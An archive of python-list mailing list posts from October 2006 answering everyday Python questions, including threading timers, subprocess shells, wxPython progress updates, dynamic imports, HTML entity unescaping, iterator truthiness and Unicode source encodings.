allows me to list current activity, otherwise I would have been
scratching my head still.

Using logging or print statements to debug this sort of things is
highly unsatisfactory. I think the way Java uses SIGQUIT is pretty
neat, are there any reasons why Python can't adopt something similar?



From mail at microcorp.co.za  Sun Oct 15 02:31:58 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sun, 15 Oct 2006 08:31:58 +0200
Subject: Can I set up a timed callback without Tkinter or twisted
	orsomething?
References: <mailman.512.1160840172.11739.python-list@python.org>
	<45310353$1@nntp0.pdx.net>
Message-ID: <00c601c6f027$e8e74820$03000080@hendrik>

"Scott David Daniels" <scott.daniels at acm.org> wrote:


> Hendrik van Rooyen wrote:
> > I want to do the equivalent of the after thingy in tkinter - setting up in
> > effect a timed call back.
> >
> > My use case is as a "supervisory" timer - I want to set up an alarm, which I
> > want to cancel if the expected occurrence occurs - but its not a GUI app.
>
> Use a thread that uses something like:
>        def action():
>            sleep(50)
>            if not canceled:
>                callback(foo)
> as its action.
>
> The callback ill be in another thread, but ....  Look up threading for
> more details.

Thanks - I was hoping that I did not have to do it myself - the Tkinter thingy
works nicely - I was hoping that the interpreter could handle something like
this... What I don't like too much about the sleep based solution is that yer
blind and deaf while sleeping - at least in that thread - and I am trying for
fairly fine grained timing resolution...

is there not something based on signals?  - I seem to recall some such thing
here in another thread.. ( I am running Linux)

-Hendrik



From MonkeeSage at gmail.com  Fri Oct  6 02:19:18 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 23:19:18 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1408.1160114785.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
Message-ID: <1160115558.554509.292870@c28g2000cwb.googlegroups.com>



On Oct 6, 1:06 am, hanumizzle <hanumiz... at gmail.com> wrote:
> I'm happy with my Pythonesque YAML syntax, thank you. :)

YAML is a little more complex, and a little more mature. But JSON
should not be ruled out. I actually like JSON personally.

Regards,
Jordan



From bjobrien62 at gmail.com  Mon Oct 16 15:12:43 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 16 Oct 2006 12:12:43 -0700
Subject: Need a strange sort method...
In-Reply-To: <mailman.586.1161023741.11739.python-list@python.org>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.586.1161023741.11739.python-list@python.org>
Message-ID: <1161025963.350716.57900@i42g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> SpreadTooThin wrote:
>
> > I have a list and I need to do a custom sort on it...
>
> > Its more like
> > 1 4 7 10
> > 2 5 8
> > 3 6 9
>
> that's trivial to do with slicing, of course.  what makes you think you
> need to do this by calling the "sort" method ?
>
> </F>

You are of course correct.. There might be a way to do this with
slicing 
and i % 3



From MonkeeSage at gmail.com  Tue Oct  3 05:29:15 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 3 Oct 2006 02:29:15 -0700
Subject: Howto pass Array/Hash into Function
References: <mailman.1148.1159867444.10491.python-list@python.org>
Message-ID: <1159867755.636060.48790@m7g2000cwm.googlegroups.com>

Wijaya Edward wrote:
> I wonder how can that be done in Python.

def myfunc(plain_var, hash_ref, arref):
  # Do sth with those variables
  return

Regards,
Jordan



From matthew_j_warren at hotmail.com  Fri Oct  6 06:55:29 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 6 Oct 2006 03:55:29 -0700
Subject: OT Request
In-Reply-To: <mailman.1450.1160131866.10491.python-list@python.org>
References: <1160131350.971760.132110@i42g2000cwa.googlegroups.com>
	<mailman.1450.1160131866.10491.python-list@python.org>
Message-ID: <1160132129.825835.196310@i42g2000cwa.googlegroups.com>

Funniest bit of my day so far :)

Fredrik Lundh wrote:
> Matthew Warren wrote:
>
> > No problem, and thanks for pointing it out.  It gets silently added on
> > its way through, and i just hadnt noticed it in my posts.
>
> oh, no need to apologize.  and it did make a certain sense in some of
> your posts:
>
> > Okok, I'm silly.
> >
> > This email is confidential and may be privileged. If you are not the
> > intended recipient please notify the sender immediately and delete the
> > email from your computer.
> >
> > You should not copy the email, use it for any purpose or disclose its
> > contents to any other person.
> >
> > Please note that any views or opinions presented in this email may be
> > personal to the author and do not necessarily represent the views or
> > opinions of Digica.



From fredrik at pythonware.com  Tue Oct 17 01:39:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 07:39:02 +0200
Subject: Output from subprocess.Popen()
In-Reply-To: <1161044891.272758.88420@h48g2000cwc.googlegroups.com>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>	<1161033460.506489.96820@b28g2000cwb.googlegroups.com>	<mailman.600.1161034297.11739.python-list@python.org>
	<1161044891.272758.88420@h48g2000cwc.googlegroups.com>
Message-ID: <eh1q9n$gb2$1@sea.gmane.org>

Clodoaldo Pinto Neto wrote:

> But I still don't understand what is happening. The manual says that
> when shell=True the executable argument specifies which shell to use:

no, it says that when shell=True, it runs the command "through" the 
default shell.  that is, it hands it over to the shell for execution, 
pretty much as if you'd typed it in yourself.

> To make my confusion bigger, in Fedora sh is just a link to bash:

that only means that the programs share the same binary, not that they 
necessarily have exactly the same behaviour:

$ man bash

   ...

   INVOCATION

   ...

   If bash is invoked with the name sh, it tries to mimic the
   startup behavior of historical versions of sh as closely as
   possible, while conforming to the POSIX standard as well.

   ...

</F>



From jcarlson at uci.edu  Wed Oct 25 11:39:57 2006
From: jcarlson at uci.edu (Josiah Carlson)
Date: Wed, 25 Oct 2006 08:39:57 -0700
Subject: [wxPython-users] Re:
In-Reply-To: <20061025112740.44244.qmail@web88303.mail.re4.yahoo.com>
References: <20061024200724.0AA7.JCARLSON@uci.edu>
	<20061025112740.44244.qmail@web88303.mail.re4.yahoo.com>
Message-ID: <20061025083349.0AB0.JCARLSON@uci.edu>


Michael S <msherman77 at yahoo.com> wrote:
> If I create a threading.Thread derived class, and run
> the wxPython code in the main thread; using a lock,
> will I be able to suspend the Thread, even though it
> will run the C code, which is essentially a while loop
> looping through millions of lines of a text file?

If all your C code is doing is looping through lines in a text file, you
can rewrite it fairly reasonably in Python via 'for line in open(fn):'.

In terms of locks, you have to use a lock that can be acquired by either
thread (GUI or C), but that won't necessarily give you what you want;
the GUI thread in wxPython may still not like being called directly.

If you want the ability to easily restart your C code, you may want to
consider at least looking at the following page on coroutines in C:
http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html .  It would
allow you to do all of your GUI manipulation/updating in Python without
having to worry about locks or calling Python code from C.

 - Josiah


> --- Josiah Carlson <jcarlson at uci.edu> wrote:
> 
> > 
> > Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> > > At Tuesday 24/10/2006 23:25, Michael S wrote:
> > > 
> > > >I extended part of my program in C, since that
> > part
> > > >was too involved for Python. Now when I import
> > the
> > > >module I created and call its functions, I am
> > trying
> > > >to feedback some information bac to my wxPython
> > > >program. The function runs for a while and I
> > wanted to
> > > >update a progress bar, but when I call the
> > function of
> > > >my new module, wxPython doesn't respond when
> > wx.Timer
> > > >is supposed to fire.
> > > 
> > > Does your extension run on a separate thread? I
> > guess not. So the 
> > > wxPython code does not have a chance to run.
> > > Do it the other way: from your C code, call a
> > Python function which 
> > > in turn updates the progress bar (and keep it
> > simple!)
> > 
> > Unless the GUI thread has a chance to take passes
> > through the wxPython
> > mainloop, the progress bar, etc., may not actually
> > be updated on some
> > platforms.
> > 
> > Mr. Sherman would likely be better off creating a
> > new thread which
> > handles processing, which could update a C global
> > variable, which the
> > GUI thread can poll to update its progress bar, etc.
> >  Alternatively, if
> > the processing can be broken down into smaller
> > pieces, the secondary
> > thread can call the pieces and post events back to
> > the GUI thread to
> > update the progress bar (via explicit wx.PostEvent
> > or implicit
> > wx.CallAfter).
> > 
> > 
> >  - Josiah
> > 
> > 
> >
> ---------------------------------------------------------------------
> > To unsubscribe, e-mail:
> > wxPython-users-unsubscribe at lists.wxwidgets.org
> > For additional commands, e-mail:
> > wxPython-users-help at lists.wxwidgets.org
> > 
> > 



From johnjsal at NOSPAMgmail.com  Fri Oct 20 16:29:50 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 20:29:50 GMT
Subject: why does this unpacking work
In-Reply-To: <mailman.864.1161373067.11739.python-list@python.org>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<mailman.864.1161373067.11739.python-list@python.org>
Message-ID: <2la_g.134$1n3.3442@news.tufts.edu>

Carsten Haese wrote:

> You seem to have difficulty distinguishing the concept of looping over a
> tuple from the concept of unpacking a tuple. 

I think you're right. It's starting to make more sense now. I think when 
I saw:

for x,y in t

I was expecting 't' to be a two-tuple for it to work. Maybe writing it as:

for (x,y) in t

sort of helps to show that '(x,y)' is equivalent to one object in 't'. 
That makes it look a little more cohesive in my mind, I guess, or helps 
me to see it map out against 't' better.


From __peter__ at web.de  Sun Oct 22 15:03:46 2006
From: __peter__ at web.de (Peter Otten)
Date: Sun, 22 Oct 2006 21:03:46 +0200
Subject: Altering the way exceptions print themselves
References: <453baf5f$0$324$e4fe514c@news.xs4all.nl>
Message-ID: <ehgf67$nfn$03$2@news.t-online.com>

Irmen de Jong wrote:

> I want to alter the way exceptions print themselves.
> More specifically, I'd like to extend the __str__ method of
> the exception's class so that it is printed in a different way.
> 
> I used to replace the __str__ method on the exception object's
> class by a custom method, but that breaks my code on Python 2.5
> because of the following error I'm getting:
> 
> TypeError: can't set attributes of built-in/extension type
> 'exceptions.TypeError'
> 
> Well, ok. So I tried to improve my code and not alter the class,
> but only the exception object. I came up with this:
> 
> 
> 
> def __excStr__(self):
>      return "[[[EXCEPTION! "+self.originalStr()+"]]"
> 
> 
> ... some code that raises an exception 'ex' ....
> 
> import new
> newStr = new.instancemethod( __excStr__, ex, ex.__class__)
> ex.__str__=newStr
> 
> 
> On Python 2.4 the above code works as I expect, however on Python 2.5
> it doesn't seem to have any effect... What am I doing wrong?

Nothing. That's just a chain of bad luck. As exceptions have become newstyle
classes __xxx__() special methods aren't looked up in the instance anymore.
 
> Or is there perhaps a different way to do what I want?

Does it suffice to set the excepthook? If so, you might want something less
hackish than

class wrap_exc(object):
    def __init__(self, exception):
        self.__exception = exception
    def __getattr__(self, name):
        return getattr(self.__exception, name)
    def __str__(self):
        return "yadda"

def eh(etype, exception, tb):
    eh_orig(etype, wrap_exc(exception), tb)

eh_orig = sys.excepthook

Peter


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 22:58:42 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 12:58:42 +1000
Subject: Truth value of iterators [was: question about True values)
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<mailman.1302.1161903610.11739.python-list@python.org>
	<1161917196.676362.318480@h48g2000cwc.googlegroups.com>
Message-ID: <87k62mea71.fsf_-_@benfinney.id.au>

"Carl Banks" <pavlovevidence at gmail.com> writes:

> An iterator is not a sequence, and it's impossible to determine
> whether an iterator is "empty" in general, except by trying to get
> an item from it. [...]
>
> IMO, this is big time wart in the language.  Iterators have no
> calculatable truth value; for many other types a truth value doesn't
> make sense (for instance: function objects, type objects, modules,
> user-defined types that don't bother with __nonzero__).  Using such
> objects in a boolean context is almost always an error.

It still seems like a reasonable thing for a programmer to do though,
even if the language doesn't currently support it.

Would it make sense to *define* a truth value for iterators? Or at
least to enable those that *are* able to say "I'm empty" to do so in a
way that boolean contexts can interpret as "false"?

Perhaps allowing (but not requiring) an iterator object to grow a
'len' method is the simplest way.

-- 
 \      "I like my dental hygenist, I think she's very pretty; so when |
  `\    I go to have my teeth cleaned, while I'm in the waiting room I |
_o__)                 eat an entire box of cookies."  -- Steven Wright |
Ben Finney



From duncan.booth at invalid.invalid  Tue Oct 17 07:10:05 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 17 Oct 2006 11:10:05 GMT
Subject: Cannot import a module from a variable
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
	<W55089226.427.12800.1@mx-extra>
	<mailman.627.1161079058.11739.python-list@python.org>
Message-ID: <Xns985F7BC5931B4duncanbooth@127.0.0.1>

"Tim Williams" <tim at tdw.net> wrote:

>> The import statement expects a name (a symbol), not a string.
>>
> 
> eval( 'import %s' % modname)
> 
> and
> 
> eval( 'reload(%s)' % modname)
> 
> Usual warnings about eval apply,  but in this case it is usable.

Did you actually try your suggestion before posting?

>>> modname = 'os'
>>> eval( 'import %s' % modname)

Traceback (most recent call last):
  File "<pyshell#4>", line 1, in <module>
    eval( 'import %s' % modname)
  File "<string>", line 1
    import os
         ^
SyntaxError: invalid syntax
>>> 

Also, it is pretty pointless to import the module and not know which 
arbitrary variable name it will have created. It is much simpler just to 
use the __import__ builtin:

>>> module = __import__(modname)
>>> module
<module 'os' from 'C:\Python25\lib\os.pyc'>



From horpner at yahoo.com  Tue Oct 17 13:19:20 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 17 Oct 2006 19:19:20 +0200
Subject: making a valid file name...
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
	<mailman.647.1161104867.11739.python-list@python.org>
Message-ID: <slrneja46b.10g.horpner@FIAD06.norwich.edu>

On 2006-10-17, Tim Chase <python.list at tim.thechases.com> wrote:
> If you're doing it on a time-critical basis, it might help to
> make "valid" a set, which should have O(1) membership testing,
> rather than using the "in" test with a string.  I don't know
> how well the find() method of a string performs in relationship
> to "in" testing of a set.  Test and see, if it's important.

The find method of (8-bit) strings is really, really fast. My
guess is that set can't beat it. I tried to beat it recently with
a binary search function. Even after applying psyco find was
still faster (though I could beat the bisect functions by a
little bit by replacing a divide with a shift).

-- 
Neil Cerutti
This is not a book to be put down lightly. It should be thrown
with great force. --Dorothy Parker


From pretoriano_2001 at hotmail.com  Tue Oct 17 12:36:14 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 17 Oct 2006 09:36:14 -0700
Subject: A question about list
Message-ID: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>

Hello:
Variable 'a' has the next values:
[[1,1],[2,2]]
and I want to take a to b as:
[[1,1,'='],[2,2,'=']]
How can I do this with only one line of instruction?
Thanks!!



From klaus at seistrup.dk  Sat Oct 28 17:40:05 2006
From: klaus at seistrup.dk (Klaus Alexander Seistrup)
Date: Sat, 28 Oct 2006 21:40:05 +0000 (UTC)
Subject: unescape HTML entities
References: <mailman.1412.1162068610.11739.python-list@python.org>
Message-ID: <ei0inl$et9$1@minji.szn.dk>

Rares Vernica wrote:

> How can I unescape HTML entities like "&nbsp;"?
>
> I know about xml.sax.saxutils.unescape() but it only deals with
> "&amp;", "&lt;", and "&gt;".
>
> Also, I know about htmlentitydefs.entitydefs, but not only this 
> dictionary is the opposite of what I need, it does not have 
> "&nbsp;".

How about something like:

#v+
#!/usr/bin/env/python
'''dehtml.py'''

import re
import htmlentitydef

myrx = re.compile('&(' + '|'.join(htmlentitydefs.name2codepoint.keys()) + ');')

def dehtml(s):
    return re.sub(
        myrx,
        lambda m: unichr(htmlentitydefs.name2codepoint[m.group(1)]),
        s
    )
# end def dehtml

if __name__ == '__main__':
    import sys
    print dehtml(sys.stdin.read()).encode('utf-8')
# end if

#v-

E.g.:

#v+

$ echo 'fr&aelig;kke fr&oslash;l&aring;r' | ./dehtml.py
fr?kke fr?l?r
$ 

#v-

-- 
Klaus Alexander Seistrup
Copenhagen, Denmark, EU
http://klaus.seistrup.dk/


From fredrik at pythonware.com  Thu Oct  5 07:04:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 5 Oct 2006 13:04:05 +0200
Subject: Testing if an object is a function
References: <1160045941.341621.32110@b28g2000cwb.googlegroups.com>
Message-ID: <eg2or6$5id$1@sea.gmane.org>

Claus Tondering wrote:

> But what do I do if I want to test if x is a function?
>
> I can do this:
>
>     if isinstance(x, type(lambda: None)): ...
>
> But it does not seem very elegant to me.
>
> Surely there is a simpler way to specify a type object that is the type
> of a function.

    if callable(x):
        ...

(if you really want a function object, and not anything that's likely to be possible
to call, see the "types" module)

</F> 





From massi_srb at msn.com  Thu Oct 12 05:05:41 2006
From: massi_srb at msn.com (Massi)
Date: 12 Oct 2006 02:05:41 -0700
Subject: Code generator
Message-ID: <1160643941.229626.146210@b28g2000cwb.googlegroups.com>

Hello NG! Can anybody explain me how to install the code generator fo
ctypes on my pc? I use windows...
for example I found this line command on the overview:

python h2xml.py windows.h -o windows.xml -q -c

Where do I have to type? and where do I have to put the file that I got
from the repository?
Thank you for the help!

Massi



From roy at panix.com  Wed Oct 11 09:51:17 2006
From: roy at panix.com (Roy Smith)
Date: Wed, 11 Oct 2006 09:51:17 -0400
Subject: How to write Smart Python programs?
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
Message-ID: <roy-45923A.09511711102006@reader1.panix.com>

Antoine De Groote <antoine at vo.lu> wrote:
> In Java, you have to use getters and setters because using public fields 
> gives you no opportunity to go back and change your mind later to using 
> getters and setters.

This is a good example of an anti-pattern.  The general thought process 
here is:

1) "I need the ability to control access to an object's internal state".  
This is fine.  Decoupling of interface from implementation is, in general, 
a good thing, and one of the guiding principles of OOD.

2) "In the language I'm using, the only way to do that is to write getter 
and setter functions".  Fair enough.  You gotta use the tools you have 
available to you.

3) "Getters and setters are an essential part of OOD".  Here's where things 
go wrong.  Just like one must learn to decouple interface from 
implementation in your programs, so must one learn to decouple them in your 
program design.  Getters and setters are an language implementation detail.  
There's nothing magic about adding the word "get" to the beginning of a 
variable name and putting "()" after it.  That's just how you spell 
"property" in C++ or java.

It used to be said, "You can write Fortran in any language".  The 
implication there was that a literal line-by-line translation 
(transliteration?) of a Fortran program into some other language usually 
resulted in a mess.  I think we can generalize that to "You can write any 
language in any other language".  Every language has a natural way of doing 
things.  When you try to bring the old idioms and design processes from one 
language over to another, it usually doesn't work.

Once, years ago, I was working in a lisp environment for maybe a year.  It 
took me a little while to learn the syntax and basic function set, but I 
never really "got" it.  I was writing C programs in lisp.  The same thing 
happens when I try to speak Spanish.  Even when I used Spanish a fair bit, 
I never really thought in Spanish.  I thought in English and translated.  
That doesn't work very well.


From sandravandale at yahoo.com  Fri Oct 13 20:11:53 2006
From: sandravandale at yahoo.com (Sandra-24)
Date: 13 Oct 2006 17:11:53 -0700
Subject: IDE
In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
Message-ID: <1160784713.923050.228050@f16g2000cwb.googlegroups.com>


giuseppe wrote:
> What is the better IDE software for python programming?
>

One word.

Wing.

The debugger will pay for itself within weeks. There is no better
Python debugger for most situations.

-Sandra



From limodou at gmail.com  Fri Oct 27 01:16:01 2006
From: limodou at gmail.com (limodou)
Date: Fri, 27 Oct 2006 13:16:01 +0800
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
References: <mailman.1319.1161920633.11739.python-list@python.org>
	<ehs0de$pk6$1@enyo.uwa.edu.au>
	<3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
Message-ID: <505f13c0610262216j283af501ra48231b0eebcff19@mail.gmail.com>

On 10/27/06, Wijaya Edward <ewijaya at i2r.a-star.edu.sg> wrote:
>
> Thanks but my intention is to strictly use regex.
> Since there are separator I need to include as delimiter
> Especially for the case like this:
>
> >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
> >>> field = list(str)
> >>> print field
> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', '-', 'B', 'A', 'R']
>
> What we want as the output is this instead:
> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR]
>
> What's the best way to do it?
>
If the case is very simple, why not just replace '_' with '', for example:

str.replace('-', '')

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From Matthew.Warren at Digica.com  Thu Oct  5 11:55:27 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 16:55:27 +0100
Subject: building strings from variables
In-Reply-To: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE599@UKEX01.Digica.local>


> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Gal Diskin
> Sent: 05 October 2006 16:01
> To: python-list at python.org
> Subject: building strings from variables
> 
> Following a discussion with an associate at work about various ways to
> build strings from variables in python, I'd like to hear your opinions
> and preferred methods. The methods we discussed are:
> 1.  some_string = "cd %s ; %s  %d %s %s" % ( working_dir, ssh_cmd,
> some_count, some_param1, some_param2)
> 
> 2. import string
>     template = string.Template("cd $dir ; $cmd $count $param1
> $param2")
>     some_string = template.substitute(dict(dir=working_dir,
> 
> cmd=ssh_cmd,
> 
> count=some_count,
> 
> pararm1=some_param1,
> 
> param2=some_param2))
> here you can use a couple of nice tricks by using class.__dict__ and
> globals() \ locals() dictionaries.
> 
> 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ "
> "+str(some_count)+" "+some_param1+" "+some_param2
> (all these are supposed to produce the same strings)
> 
> Which methods do you know of \ prefer \ think is better because...?
> I will appreciate any opinions about the matter.

:D

I think, it would depend really on what your aims are (readable code,
fast string generation...), and how the vars you want to build the
string from are respresented in your code (is it natural to use a dict
etc..)

I kicked off a conversation similar to this earlier today, and that was
my conclusion after helpful debate & advice.

Matt.


This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 

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From pandyacus.xspam at xspam.sbcglobal.net  Thu Oct 26 05:26:33 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Thu, 26 Oct 2006 09:26:33 GMT
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
	<1161730045.377608.221250@e3g2000cwe.googlegroups.com>
	<7xr6wvbsf2.fsf@ruckus.brouhaha.com> <ur6wv4jyn.fsf@sbcglobal.net>
	<7xy7r3y1f9.fsf@ruckus.brouhaha.com>
Message-ID: <uk62no2bd.fsf@sbcglobal.net>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> I mean just have an interface to OS locks (Linux futex and whatever
> the Windows counterpart is) and maybe also a utility function to do a
> compare-and-swap in user space.
There is code for spinlocks, but it allocates the lockword in the process
memory. This can be used for thread synchronization, but not for IPC with
external python or non-python processes.
I found a PyIPC IPC package that seems to provide interface to Sys V shared
memory and semaphore  - but I just found it, so cannot comment on it at this
time.


From apardon at forel.vub.ac.be  Fri Oct  6 06:23:35 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Oct 2006 10:23:35 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com>
	<mailman.1447.1160129892.10491.python-list@python.org>
Message-ID: <slrneicbl7.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> hanumizzle wrote:
>
>> Not sure exactly what is going on / being argued about in this
> > thread
>
> I'm describing best practices based on long experience of using and 
> developing and teaching and writing about Python stuff.  Others have 
> other priorities, it seems.

I just think you shouldn't assume the readers of the documentation
are aware of best practices.

-- 
Antoon Pardon


From fredrik at pythonware.com  Fri Oct 27 10:46:28 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 16:46:28 +0200
Subject: virtual function appears in two bases
In-Reply-To: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com>
References: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com>
Message-ID: <eht642$o9h$1@sea.gmane.org>

joe Li wrote:

> I saw the following code, but I don't understand the rule for virtual 
> function that appears in two bases
> Could anyone explain it for me, thanks.

http://docs.python.org/tut/node11.html#SECTION0011510000000000000000

</F>



From spedrosa at gmail.com  Wed Oct 25 13:47:04 2006
From: spedrosa at gmail.com (Stephen Eilert)
Date: 25 Oct 2006 10:47:04 -0700
Subject: python GUIs comparison (want)
In-Reply-To: <1161790989.759272.49650@b28g2000cwb.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<1161790989.759272.49650@b28g2000cwb.googlegroups.com>
Message-ID: <1161798424.168371.94390@m73g2000cwd.googlegroups.com>


BartlebyScrivener wrote:
> Well, I am woefully unqualified to speak to the general state of Python
> gui frameworks, but I am in a similar situation as the OP, i.e., a
> beginner looking to TRY some easy gui programming in Python. Not being
> a computer science person, just an amateur scripter, I tend to learn
> best from lots of examples.
>
> With all of that as background, I downloaded the latest wxPython demos
> and docs yesterday. I suggest that the OP do the same. The demo.py
> program is an amazing piece of work. It's loaded with specific examples
> which allow you to view the frame or dialog etc, and then look behind
> it to see the code used to create it.
>
> rd


You can also download wxGlade and ask it to generate the code for you.
You just have to layout the components the way you want it, wxGlade
does the rest. Even though there are tons of wxWidgets components it
does not support, you can put something as a placeholder and just
replace the code later.

For looks, speed, ease of use (even though it is not Pythonic),
platform compatibility and use of native widgets, my vote goes to
wxPython. If you don't mind adding another layer (as I doubt the
runtime performance suffers much - if at all), there is dabo.ui (thanks
to whoever pointed it out to me).

PyQT looks good... under KDE, alien under Win32. PyGTK looks good under
Gnome, and acceptable on Win32, even if their widgets do not always act
as Win32 users would expect.



From davelist at mac.com  Sun Oct  1 19:23:48 2006
From: davelist at mac.com (davelist at mac.com)
Date: Sun, 1 Oct 2006 19:23:48 -0400
Subject: Simple but fast 2D lib for drawing pixels
In-Reply-To: <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
	<4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
Message-ID: <FAB20C83-99C7-4723-A006-4B4EC1572A18@mac.com>


On Oct 1, 2006, at 6:28 PM, Peter Mexbacher wrote:

> Hello,
>
> we want to teach absolute programming newbies
> a first language, so they can start programming
> simple scientific models.
>
> We thought Python would make a good choice for
> a first language; but where pretty stumped when
> we found out that there is no simple way to draw
> pixels to a screen. (This is needed for fractals,
> agent-based models etc -> like Conways Game of Life)
>
> Our requirements:
>
> -) easy to learn (newbs!)
> -) not too slow (after all, the models should simulate something)
> -) python :-)
>
> Any ideas?
>
> Best Regards,
> Peter


You might check out John Zelle's Python book - he uses a simple  
graphics library on top of Tk (which Python comes with). You can find  
information on his book and the graphics.py file he uses at:

http://mcsp.wartburg.edu/zelle/python/

It certainly meets your easy to learn and Python requirements - and  
of course speed is subjective so it may or may not be fast enough for  
you.

Dave





From deets at nospam.web.de  Fri Oct 20 09:06:56 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 15:06:56 +0200
Subject: Unicode support in python
In-Reply-To: <1161347155.127042.88710@m7g2000cwm.googlegroups.com>
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
	<eha35a$c8c$1@sea.gmane.org>
	<mailman.827.1161335364.11739.python-list@python.org>
	<1161347155.127042.88710@m7g2000cwm.googlegroups.com>
Message-ID: <4prvvdFke713U1@uni-berlin.de>

sonald schrieb:
> Fredrik Lundh wrote:
>>>    http://www.google.com/search?q=python+unicode
>> (and before anyone starts screaming about how they hate RTFM replies, look
>> at the search result)
>>
>> </F>
> Thanks!! but i have already tried this...

Tried - might be. But you certainly didn't understand it. So I suggest 
that you read it again.

> and let me tell you what i am trying now...
> 
> I have added the following line in the script
> 
> # -*- coding: utf-8 -*-

This will _only_ affect unicode literals inside the script itself - 
nothing else! No files read, no files written, and additionally the path 
of sun, earth and moon are unaffected as well - just in case you wondered.

This is an example of what is affected now:


--------
# -*- coding: utf-8 -*-
# this string is a byte string. it is created as such,
# regardless of the above encoding. instead, only
# what is in the bytes of the file itself is taken into account
some_string = "b?chsenb?ller"

# this is a unicode literal (note the leading u).
# it will be _decoded_ using the above
# mentioned encoding. So make sure, your file is written in the
# proper encoding
some_unicode_object = u"b?chsenb?ller"
---------




> I have also modified the site.py in ./Python24/Lib as
> def setencoding():
